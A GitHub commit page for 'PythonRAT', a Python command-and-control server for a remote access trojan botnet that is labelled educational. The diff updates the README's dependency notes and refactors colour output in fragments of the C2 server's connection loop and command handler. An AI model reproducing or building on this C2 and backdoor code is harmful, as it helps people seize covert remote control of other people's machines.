Skip to content

Commit 53a5d58

Browse files
authored
Add files via upload
1 parent 75d0f98 commit 53a5d58

File tree

2 files changed

+24
-28
lines changed

2 files changed

+24
-28
lines changed

README.md

+11-9
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,12 @@
11
# PythonRAT
22

3-
**The MALWARE _PythonRAT_ is for EDUCATIONAL PURPOSES ONLY!!**
3+
PythonRAT is a Command and Control (C2) server which can control multiple machines running the Remote Administration Trojan (RAT) forming a botnet cluster which was written in Python3.
44

5-
## Description
5+
PythonRAT was developed for **educational** purposes and continues to be developed as such!
66

7-
PythonRAT is a Command and Control (C2) server which can control multiple machines running the Remote Administration Trojan (RAT) forming a botnet cluster which was written in Python3.
7+
<p align="center">
8+
<img width="367" alt="PythonRAT Banner" src="https://user-images.githubusercontent.com/10171446/178044012-1ad8b92b-024e-4902-9492-7f7b6b1e0761.png">
9+
</p>
810

911

1012
# Features
@@ -84,17 +86,17 @@ PythonRAT is a Command and Control (C2) server which can control multiple machin
8486

8587
# Dependencies
8688

87-
The C2 server relies on:
88-
89-
pip install pyautogui \
90-
termcolor
89+
The C2 server has no _external dependencies_ as of _v0.9.2-alpha_.
9190

9291
The backdoor relies on:
9392

94-
pip install pyinstaller \
95-
pyautogui \
93+
pip install pyautogui \
9694
requests
9795

96+
- **PyAutoGUI** is required for the `screenshot()` function.
97+
- **Requests** is required for the `download_url()` function.
98+
99+
98100
# Wine and Pyinstaller (Win version) Installation on Linux
99101

100102
Python 2.7.14 Releases: https://www.python.org/downloads/release/python-2714/

c2.py

+13-19
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,10 @@
11
import socket
2-
import termcolor
32
import json
43
import os
54
import threading
65

7-
from colour import banner
6+
# Local class imports
7+
from colour import banner, Colour
88

99

1010
def reliable_recv(target):
@@ -150,7 +150,9 @@ def accept_connections():
150150
target, ip = sock.accept()
151151
targets.append(target)
152152
ips.append(ip)
153-
print(termcolor.colored(str(ip) + ' has connected!', 'green'))
153+
# print(termcolor.colored(str(ip) + ' has connected!', 'green'))
154+
print(Colour().green(str(ip) + " has connected!"))
155+
print('[**] Command & Control Center: ', end="")
154156
except:
155157
pass
156158

@@ -205,7 +207,8 @@ def c2():
205207
elif command[:4] == 'help':
206208
c2_help_manual()
207209
else:
208-
print(termcolor.colored('[!!] Command Doesnt Exist', 'red'))
210+
# print(termcolor.colored('[!!] Command Doesnt Exist', 'red'))
211+
print(Colour().red('[!!] Command Doesnt Exist'))
209212
except (KeyboardInterrupt, SystemExit):
210213
if input('\nDo you want to exit? yes/no: ') == 'yes':
211214
break
@@ -235,10 +238,9 @@ def exit_c2(targets): # function of: elif command == 'exit':
235238
sock.listen(5)
236239
t1 = threading.Thread(target=accept_connections)
237240
t1.start()
238-
# print(colour.Colour())
239241
print(banner())
240242
print('Run "help" command to see the usage manual')
241-
print(termcolor.colored('[+] Waiting For The Incoming Connections ...', 'green'))
243+
print(Colour().green('[+] Waiting For The Incoming Connections ...'))
242244

243245
# c2()
244246

@@ -291,25 +293,17 @@ def exit_c2(targets): # function of: elif command == 'exit':
291293
elif command[:4] == 'help':
292294
c2_help_manual()
293295
else:
294-
print(termcolor.colored('[!!] Command Doesnt Exist', 'red'))
296+
print(Colour().red('[!!] Command Doesnt Exist'))
295297
except (KeyboardInterrupt, SystemExit):
296298
if input('\nDo you want to exit? yes/no: ') == 'yes':
297299
sock.close()
298-
print(termcolor.colored('\n[-] C2 Socket Closed! Bye!!', 'yellow'))
300+
print(Colour().yellow('\n[-] C2 Socket Closed! Bye!!'))
299301
break
300302
except ValueError as e:
301-
print(termcolor.colored('[!!] ValueError: ' + str(e), 'red'))
303+
print(Colour().red('[!!] ValueError: ' + str(e)))
302304
continue
303305

304-
"""
305-
Possibly improvements
306-
307-
-Consider encrypting the connection using custom (AES128-GCM-DH-SHA256) or HTTPS (lots of traffic w/ HTTP)
308-
-Implement a 'pulse' feature between server and backdoor (Keep alive):
309-
310-
This will ensure if server.py crashes the backdoor will after 60s will realise server is not listen on socket
311-
and will attempt to run connection() function again.
312-
"""
313-
314306
# TODO: encrypt connection
315307
# TODO: Implement a 'pulse' feature between server and backdoor (Keep alive)
308+
# This will ensure if server.py crashes the backdoor will after 60s will realise server is not listen on socket
309+
# and will attempt to run connection() function again.

0 commit comments

Comments
 (0)